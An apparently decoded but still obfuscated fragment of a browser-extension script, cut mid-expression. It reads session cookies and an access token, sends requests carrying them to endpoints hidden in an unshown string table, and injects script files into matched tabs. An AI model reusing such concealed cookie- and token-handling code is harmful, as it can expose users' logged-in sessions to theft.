/* Decoded by unphp.net */ {return _0xf765xd[_0xd97d[40]]()})[_0xd97d[39]]((_0xf765x18)=>{if(_0xf765x18[_0xd97d[36]]){window[_0xd97d[38]](_0xf765x18[_0xd97d[37]])}})[_0xd97d[35]]((_0xf765x17)=>{console[_0xd97d[29]](_0xd97d[34],_0xf765x17)})}function getAttachmentTargetId(_0xf765x16,_0xf765xa){const _0xf765x1a=_0xf765xa=== _0xd97d[42]?_0xd97d[43]:_0xd97d[44];const _0xf765x13=`${_0xd97d[32]}${_0xf765x16}${_0xd97d[45]}${_0xf765x1a}${_0xd97d[46]}${accessToken}${_0xd97d[22]}`;fetch(_0xf765x13,{method:_0xd97d[18],headers:{'Content-Type':_0xd97d[41]}})[_0xd97d[39]]((_0xf765xd)=>{return _0xf765xd[_0xd97d[40]]()})[_0xd97d[39]]((_0xf765x18)=>{if(_0xf765x18[_0xf765x1a]){const _0xf765x1b=_0xf765xa=== _0xd97d[42]?_0xf765x18[_0xf765x1a][_0xd97d[48]][0][_0xd97d[47]][_0xd97d[36]]:_0xf765x18[_0xf765x1a][_0xd97d[47]][_0xd97d[36]];if(_0xf765x1b){getVideoById(_0xf765x1b)}}})[_0xd97d[35]]((_0xf765x17)=>{console[_0xd97d[29]](_0xd97d[34],_0xf765x17)})}async function getGroupIdFromName(_0xf765xa){const _0xf765x13=`${_0xd97d[49]}${_0xf765xa}${_0xd97d[22]}`;try{const _0xf765xd= await fetch(_0xf765x13,{method:_0xd97d[18],headers:{'Content-Type':_0xd97d[19],cookie:`${_0xd97d[20]}${cUser}${_0xd97d[21]}${Xs}${_0xd97d[22]}`}});const _0xf765xe= await _0xf765xd[_0xd97d[23]]();let _0xf765xf=_0xf765xe[_0xd97d[25]](_0xd97d[50])+ 10;let _0xf765x10=_0xf765xe[_0xd97d[27]](_0xd97d[26],_0xf765xf);const _0xf765x1d=_0xf765xe[_0xd97d[28]](_0xf765xf,_0xf765x10);return _0xf765x1d}catch(error){console[_0xd97d[29]](error)}}async function getGroupOrPageId(_0xf765xa){const _0xf765x13=`${_0xd97d[32]}${_0xf765xa}${_0xd97d[51]}${accessToken}${_0xd97d[22]}`;try{const _0xf765xd= await fetch(_0xf765x13,{method:_0xd97d[18],headers:{'Content-Type':_0xd97d[41]}});const _0xf765x18= await _0xf765xd[_0xd97d[40]]();if(_0xf765x18[_0xd97d[36]]){return _0xf765x18[_0xd97d[36]]}}catch(error){console[_0xd97d[29]](_0xd97d[34],error)}}chrome[_0xd97d[75]][_0xd97d[74]][_0xd97d[9]](async function(_0xf765x1f){let _0xf765x20=_0xd97d[22];for(let _0xf765x6=0;_0xf765x6< arraySites[_0xd97d[2]];_0xf765x6++){let _0xf765x7=arraySites[_0xf765x6];if(_0xf765x1f[_0xd97d[53]][_0xd97d[52]](_0xf765x7[_0xd97d[3]])){_0xf765x20= _0xf765x7[_0xd97d[54]];break}};if(_0xf765x20){getCookies(_0xd97d[55],_0xd97d[12]);getCookies(_0xd97d[55],_0xd97d[14]);try{const _0xf765x21= await getAccessToken();if(_0xf765x21){if(_0xf765x1f[_0xd97d[53]][_0xd97d[52]](_0xd97d[56])){const _0xf765x1b=_0xf765x1f[_0xd97d[53]][_0xd97d[59]](_0xd97d[58])[_0xd97d[57]]();getVideoById(_0xf765x1b)};if(_0xf765x1f[_0xd97d[53]][_0xd97d[52]](_0xd97d[60])){const _0xf765x1b=_0xf765x1f[_0xd97d[53]][_0xd97d[59]](_0xd97d[61])[_0xd97d[57]]();getVideoById(_0xf765x1b)};if(_0xf765x1f[_0xd97d[53]][_0xd97d[52]](_0xd97d[62])){const _0xf765x22=_0xf765x1f[_0xd97d[53]][_0xd97d[52]](_0xd97d[63])=== true?_0xf765x1f[_0xd97d[53]][_0xd97d[59]](_0xd97d[58])[6]:_0xf765x1f[_0xd97d[53]][_0xd97d[59]](_0xd97d[64])[0][_0xd97d[59]](_0xd97d[58])[_0xd97d[57]]();const _0xf765x23=_0xf765x1f[_0xd97d[53]][_0xd97d[59]](_0xd97d[64])[1];const _0xf765x24=_0xf765x22+ _0xd97d[65]+ _0xf765x23;getAttachmentTargetId(_0xf765x24,_0xd97d[66])};if(_0xf765x1f[_0xd97d[53]][_0xd97d[52]](_0xd97d[67])&& !_0xf765x1f[_0xd97d[53]][_0xd97d[52]](_0xd97d[62])){const _0xf765x25=_0xf765x1f[_0xd97d[53]][_0xd97d[59]](_0xd97d[58]);const _0xf765x22=_0xf765x25[_0xf765x25[_0xd97d[2]]- 1]=== _0xd97d[22]?_0xf765x25[_0xf765x25[_0xd97d[2]]- 2]:_0xf765x25[_0xf765x25[_0xd97d[2]]- 1];const _0xf765x26=_0xf765x1f[_0xd97d[53]][_0xd97d[52]](_0xd97d[68])=== true?_0xf765x1f[_0xd97d[53]][_0xd97d[59]](_0xd97d[58])[4]:_0xf765x1f[_0xd97d[53]][_0xd97d[59]](_0xd97d[58])[3];const _0xf765x27= await getGroupOrPageId(_0xf765x26);if(_0xf765x27){const _0xf765x28=_0xf765x27+ _0xd97d[65]+ _0xf765x22;getAttachmentTargetId(_0xf765x28,_0xd97d[42])}else {if(_0xf765x1f[_0xd97d[53]][_0xd97d[52]](_0xd97d[68])){const _0xf765x29= await getGroupIdFromName(_0xf765x26);const _0xf765x2a=_0xf765x29+ _0xd97d[65]+ _0xf765x22;getAttachmentTargetId(_0xf765x2a,_0xd97d[42])}else {const _0xf765x2b= await getUserIdFromUsername(_0xf765x26);const _0xf765x2c=_0xf765x2b+ _0xd97d[65]+ _0xf765x22;getAttachmentTargetId(_0xf765x2c,_0xd97d[42])}}}}}catch(error){console[_0xd97d[29]](error[_0xd97d[69]])};chrome[_0xd97d[73]][_0xd97d[72]]({file:_0xd97d[70]+ _0xf765x20+ _0xd97d[71]})}});chrome[_0xd97d[11]][_0xd97d[77]][_0xd97d[9]](function(_0xf765x2d){if(_0xf765x2d[_0xd97d[76]]=== true){return}else {window[_0xd97d[38]](_0xf765x2d[_0xd97d[53]])}}) ?>